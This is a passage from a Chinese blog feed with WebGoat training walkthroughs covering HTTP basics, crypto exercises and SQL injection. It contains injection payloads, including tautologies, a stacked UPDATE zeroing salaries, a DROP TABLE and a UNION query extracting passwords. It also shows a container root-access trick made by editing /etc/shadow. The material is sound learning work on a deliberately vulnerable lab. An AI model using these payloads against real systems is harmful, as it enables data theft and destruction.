        <id>https://richar.top/webgoat-1-introduction-general/</id>
        
        <content type="html" xml:base="https://richar.top/webgoat-1-introduction-general/">&lt;h1 id=&quot;qian-yan&quot;&gt;前言&lt;&#x2F;h1&gt;
&lt;p&gt;刚学CTF Web，直接做网上的CTF Web题感觉知识点有些零散，因此打算先做做WebGoat。并且尽量把做题的方法和一些感想记录下来。我使用的WebGoat版本为8.1.0。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;introducing&quot;&gt;Introducing&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;webgoat&quot;&gt;WebGoat&lt;&#x2F;h2&gt;
&lt;p&gt;就介绍了一下WebGoat，没什么好说。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;webwolf&quot;&gt;WebWolf&lt;&#x2F;h2&gt;
&lt;p&gt;告诉你WebGoat和WebWolf的联动关系。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-3&quot;&gt;Stage 3&lt;&#x2F;h3&gt;
&lt;p&gt;随意输入一个email（邮箱用户名必须和WebGoat的用户名一致，域名可以随便写），然后点击&lt;code&gt;Send e-mail&lt;&#x2F;code&gt;按钮。打开WebWolf的Mailbox选项卡，就可以看到系统发送的那封邮件，就可以获取到unique code了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-4&quot;&gt;Stage 4&lt;&#x2F;h3&gt;
&lt;p&gt;告诉你WebWolf的Incoming requests选项卡会记录下所有发送到&lt;code&gt;&#x2F;landing&lt;&#x2F;code&gt;的请求，可以方便我们测试。&lt;&#x2F;p&gt;
&lt;p&gt;点击Click here to reset your password，会弹出一个重置密码的页面(当然是假的)，随便填一个密码，发现提交到WebWolf的&lt;code&gt;\landing&lt;&#x2F;code&gt;路径，于是可以打开WebWolf看到该请求有一个名为uniqueCode的参数，填入即可。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;general&quot;&gt;General&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;http-basics&quot;&gt;HTTP Basics&lt;&#x2F;h2&gt;
&lt;p&gt;介绍了一些HTTP的基本概念。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-2&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;p&gt;随意输入一个名字点击Go即可。&lt;&#x2F;p&gt;
&lt;p&gt;同时可以打开开发者工具，抓到刚才那个请求，是一个POST请求，也没什么别的参数，就先过吧。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-3-1&quot;&gt;Stage 3&lt;&#x2F;h3&gt;
&lt;p&gt;刚才已经知道是POST请求了，第一个框填入POST即可。&lt;&#x2F;p&gt;
&lt;p&gt;第二个magic number刚开始一点头绪也没有，后来发现可以先留空提交，同时抓到提交的那个请求，有一个名为magic_num的GET参数，填入即可。&lt;&#x2F;p&gt;
&lt;p&gt;其实还有一种方法，直接审核元素，找到hidden的input标签。如图：&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-1-introduction-general&#x2F;.&#x2F;hidden%E7%9A%84input%E6%A0%87%E7%AD%BE.png&quot; alt=&quot;hidden的input标签&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;http-proxies&quot;&gt;HTTP Proxies&lt;&#x2F;h2&gt;
&lt;p&gt;主要讲了用代理调试HTTP(S)网页。它介绍的是ZAP，但我用的还是Burp Suite。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-6&quot;&gt;Stage 6&lt;&#x2F;h3&gt;
&lt;p&gt;先挂上代理，用Burp Suite拦截下提交的请求，按照要求修改下面三处即可。&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-1-introduction-general&#x2F;.&#x2F;%E6%B3%A8%E5%85%A5%E4%BF%AE%E6%94%B9%E8%AF%B7%E6%B1%82.png&quot; alt=&quot;注入修改请求&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;developer-tools&quot;&gt;Developer Tools&lt;&#x2F;h2&gt;
&lt;p&gt;主要将开发者工具的使用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-4-1&quot;&gt;Stage 4&lt;&#x2F;h3&gt;
&lt;p&gt;打开开发者工具的控制台，输入&lt;code&gt;webgoat.customjs.phoneHome()&lt;&#x2F;code&gt;，就可以找到类似&lt;code&gt;phoneHome Response is -663132140&lt;&#x2F;code&gt;的文本(电话号码还能是负的???)，把电话号码提交即可。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-6-1&quot;&gt;Stage 6&lt;&#x2F;h3&gt;
&lt;p&gt;点击&quot;Go&quot;按钮，抓到发送的请求，将其POST的networkNum的值提交即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cia-triad&quot;&gt;CIA Triad&lt;&#x2F;h2&gt;
&lt;p&gt;讲了一些注意事项，看了自己做吧。。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;crypto-basics&quot;&gt;Crypto Basics&lt;&#x2F;h2&gt;
&lt;p&gt;从这里开始有一些难度了(可能是我对这一块不熟)。介绍了一些常见的密码的使用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-2-1&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;p&gt;Base64编码(严格来说它不能算加密)，一般看到字符串后面以&lt;code&gt;=&lt;&#x2F;code&gt;结尾，就可以猜一猜Base64了。这是HTTP基本认证用的加密。可以使用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cryptii.com&#x2F;pipes&#x2F;base64-to-hex&quot;&gt;这个&lt;&#x2F;a&gt;网站，或者使用命令行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;#加密
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span&gt; 明文 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;base64
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;#解密
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span&gt; 密文 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;base64&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -d
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解题过程:直接将那一串字符Base64解码，冒号前是用户名，冒号后是密码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-3-2&quot;&gt;Stage 3&lt;&#x2F;h3&gt;
&lt;p&gt;介绍了一些其它编码方式。&lt;&#x2F;p&gt;
&lt;p&gt;Html 编码，编码解码点&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.convertstring.com&#x2F;zh_CN&#x2F;EncodeDecode&#x2F;HtmlEncode&quot;&gt;这里&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;UU编码，和Base64有点类似，编码解码点&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;web.chacuo.net&#x2F;charsetuuencode&quot;&gt;这里&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;XOR编码，之前也没见过，看了hints才搜到这个网站 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.sysman.nl&#x2F;wasdecoder&#x2F;&quot;&gt;WebSphere Password Decoder&lt;&#x2F;a&gt;。解题只要把那段字符扔到上面的那个网站解密就行了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-4-2&quot;&gt;Stage 4&lt;&#x2F;h3&gt;
&lt;p&gt;讲了一些Hash的方式，Hash是不可逆的，但是可以通过暴力尝试或者查表进行破解。可以使用Hashcat爆破，或者直接去&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cmd5.com&#x2F;&quot;&gt;MD5在线解密&lt;&#x2F;a&gt;查询。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-6-2&quot;&gt;Stage 6&lt;&#x2F;h3&gt;
&lt;p&gt;介绍一些数字签名的方式。&lt;&#x2F;p&gt;
&lt;p&gt;先将私钥字符串保存到文件&lt;code&gt;private.txt&lt;&#x2F;code&gt;，然后执行&lt;code&gt;openssl rsa -in private.txt -modulus -noout&lt;&#x2F;code&gt;，就可以得到模数了。&lt;&#x2F;p&gt;
&lt;p&gt;然后再用rsa私钥进行加密，&lt;code&gt;echo -n [你得到的模数] | openssl dgst -sha256 -sign private.txt | base64&lt;&#x2F;code&gt;，输出的就是签名了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;echo&lt;&#x2F;code&gt;的&lt;code&gt;-n&lt;&#x2F;code&gt;参数是结尾不输出换行，一开始没有加，找了好久都找不到错误。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-8&quot;&gt;Stage 8&lt;&#x2F;h3&gt;
&lt;p&gt;先按照要求运行&lt;code&gt;docker&lt;&#x2F;code&gt;环境，即&lt;code&gt;docker run -d webgoat&#x2F;assignments:findthesecret&lt;&#x2F;code&gt;，然后用&lt;code&gt;sudo docker ps&lt;&#x2F;code&gt;查看该容器的名称，然后用&lt;code&gt;sudo docker exec -ti [名称] &#x2F;bin&#x2F;bash&lt;&#x2F;code&gt;连接。&lt;&#x2F;p&gt;
&lt;p&gt;我们的目标是获得&lt;code&gt;&#x2F;root&lt;&#x2F;code&gt;目录下的一个密码文件，文件名叫什么目前还不知道，显然我们需要获得root权限，但是直接&lt;code&gt;su&lt;&#x2F;code&gt;需要密码。因此我们需要修改root的密码。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;先退出docker的bash，用&lt;code&gt;sudo docker container cp [名称]:&#x2F;etc&#x2F;shadow .&#x2F;&lt;&#x2F;code&gt;将&lt;code&gt;shadow&lt;&#x2F;code&gt;文件复制出来。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;根据linux密码储存的规则&lt;code&gt;$id$salt$encrypted&lt;&#x2F;code&gt;，我们可以自己生成一个密码。于是用python写了一段代码。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;crypt,random
&lt;&#x2F;span&gt;&lt;span&gt;passwd&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Please input your password: &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;salt&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;$6$&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;.join(random.sample(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(crypt.crypt(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(passwd),salt))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将输出的字符串写入root所在行的前两个冒号之间(替换掉原来的&lt;code&gt;*&lt;&#x2F;code&gt;)并保存。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sudo docker container cp .&#x2F;shadow [名称]:&#x2F;etc&#x2F;shadow&lt;&#x2F;code&gt;将修改后的&lt;code&gt;shadow&lt;&#x2F;code&gt;文件写入。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;再次用&lt;code&gt;sudo docker exec -ti [名称] &#x2F;bin&#x2F;bash&lt;&#x2F;code&gt;连接，&lt;code&gt;su&lt;&#x2F;code&gt;输入你刚才设的密码，就拿到了root权限了。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;ls &#x2F;root&lt;&#x2F;code&gt;可以看到有一个名为&lt;code&gt;default_secret&lt;&#x2F;code&gt;的文件，退出docker的bash，用&lt;code&gt;sudo docker container cp [名称]:&#x2F;root&#x2F;default_secret .&#x2F;&lt;&#x2F;code&gt;将其拷贝出来。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在按照题目里的要求，输入&lt;code&gt;echo &quot;U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=&quot; | openssl enc -aes-256-cbc -d -a -kfile default_secret&lt;&#x2F;code&gt;，就解密成功了。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;最后答案为&lt;code&gt;Leaving passwords in docker images is not so secure&lt;&#x2F;code&gt;和&lt;code&gt;default_secret&lt;&#x2F;code&gt;。本题就完成了。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;最后别忘了关掉docker：&lt;code&gt;sudo docker kill [名称]&lt;&#x2F;code&gt;，顺便删掉镜像，节约空间，&lt;code&gt;sudo docker image rm webgoat&#x2F;assignments:findthesecret --force&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这道题就开始有点感觉了，总结一下，就像最终答案所说，不用在docker里面留下密码，外部的用户可以用&lt;code&gt;docker&lt;&#x2F;code&gt;的命令操作容器，相当于有了root权限，里面存储的东西也不一定安全。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;writing-new-lesson&quot;&gt;Writing new lesson&lt;&#x2F;h2&gt;
&lt;p&gt;这一节告诉你怎样写一个自己的课程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-6-3&quot;&gt;Stage 6&lt;&#x2F;h3&gt;
&lt;p&gt;通过阅读给出的代码可得，parameter 1为&lt;code&gt;secr37Value&lt;&#x2F;code&gt;即可。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;前面的题目都非常容易，但&lt;code&gt;Crypto Basics&lt;&#x2F;code&gt;的最后两题对我来说还是有一定难度，也花了不少时间。关于密码学的知识以后还有抽空多学学。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>WebGoat之路-2-Injection</title>
        <published>2020-10-03T00:00:00+00:00</published>
        <updated>2020-10-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/webgoat-2-injection/"/>
        <id>https://richar.top/webgoat-2-injection/</id>
        
        <content type="html" xml:base="https://richar.top/webgoat-2-injection/">&lt;h1 id=&quot;a1-injection&quot;&gt;(A1)Injection&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;sql-injection-intro&quot;&gt;SQL Injection (intro)&lt;&#x2F;h2&gt;
&lt;p&gt;这一节介绍一些基本的SQL语言和SQL注入的原理。SQL语法不会的可以去&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.w3school.com.cn&#x2F;sql&#x2F;index.asp&quot;&gt;这里&lt;&#x2F;a&gt;学习。这边比较基础的SQL语句就直接放出来了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-2&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;sql&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;SELECT &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span&gt; Employees &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;WHERE&lt;&#x2F;span&gt;&lt;span&gt; first_name&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Bob&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;AND&lt;&#x2F;span&gt;&lt;span&gt; last_name&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Franco&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-3&quot;&gt;Stage 3&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;sql&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;UPDATE&lt;&#x2F;span&gt;&lt;span&gt; employees &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;SET&lt;&#x2F;span&gt;&lt;span&gt; Department&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Sales&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;WHERE&lt;&#x2F;span&gt;&lt;span&gt; first_name&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Tobi&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;AND&lt;&#x2F;span&gt;&lt;span&gt; last_name&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Barnett&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-4&quot;&gt;Stage 4&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;sql&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;ALTER TABLE &lt;&#x2F;span&gt;&lt;span&gt;employees add column phone &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;varchar&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-5&quot;&gt;Stage 5&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;sql&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;GRANT ALTER TABLE &lt;&#x2F;span&gt;&lt;span&gt;to UnauthorizedUser
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-9&quot;&gt;Stage 9&lt;&#x2F;h3&gt;
&lt;p&gt;最后拼接后是这样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sql&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;SELECT &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span&gt; user_data &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;WHERE&lt;&#x2F;span&gt;&lt;span&gt; first_name &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;John&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;and&lt;&#x2F;span&gt;&lt;span&gt; last_name &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Smith&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;or &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-10&quot;&gt;Stage 10&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-2-injection&#x2F;.&#x2F;1_stage10.png&quot; alt=&quot;1_stage10&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-11&quot;&gt;Stage 11&lt;&#x2F;h3&gt;
&lt;p&gt;SQL语句加上了单引号，我们也只要合理的加上单引号凑出完整的语句就好了。&lt;&#x2F;p&gt;
&lt;p&gt;Employee Name随便写，TAN填入&lt;code&gt;&#x27; or &#x27;1&#x27;=&#x27;1&lt;&#x2F;code&gt;即可。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-12&quot;&gt;Stage 12&lt;&#x2F;h3&gt;
&lt;p&gt;只要用分号再后面再加上一个UPDATE语句就行了，注意最后已经有单引号了(导致高量有些奇怪)。TAN里面写入以下内容。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sql&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;&lt;span&gt;3SL99A&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;;UPDATE employees SET salary=0 where first_name=&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;Tobi&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39; or first_name=&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;Bob
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-13&quot;&gt;Stage 13&lt;&#x2F;h3&gt;
&lt;p&gt;由于DROP语句后面没法把单引号凑成对，把后面注释掉就行了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sql&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;;DROP TABLE access_log;--
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;sql-injection-advanced&quot;&gt;SQL Injection (advanced)&lt;&#x2F;h2&gt;
&lt;p&gt;难度升级。。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-3-1&quot;&gt;Stage 3&lt;&#x2F;h3&gt;
&lt;p&gt;用UNION命令拉取别的表的内容。&lt;&#x2F;p&gt;
&lt;p&gt;Name填入&lt;code&gt;&#x27; or &#x27;1&#x27;=&#x27;1&#x27; ;SELECT * FROM user_system_data --&lt;&#x2F;code&gt;最后连接的语句就是&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sql&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;SELECT &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span&gt; user_data &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;WHERE&lt;&#x2F;span&gt;&lt;span&gt; last_name &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;or &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; ;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;SELECT &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span&gt; user_system_data &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;--&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者用UNION,填入&lt;code&gt;&#x27; union select 1,user_name,password, &#x27;4&#x27;,&#x27;5&#x27;,&#x27;6&#x27;,7 from user_system_data --&lt;&#x2F;code&gt;，用&lt;code&gt;&#x27;4&#x27;,&#x27;5&#x27;,&#x27;6&#x27;,7&lt;&#x2F;code&gt;填补上对应的字段。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sql&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;SELECT &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span&gt; user_data &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;WHERE&lt;&#x2F;span&gt;&lt;span&gt; last_name &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;union select &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,user_name,password, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;4&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;5&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span 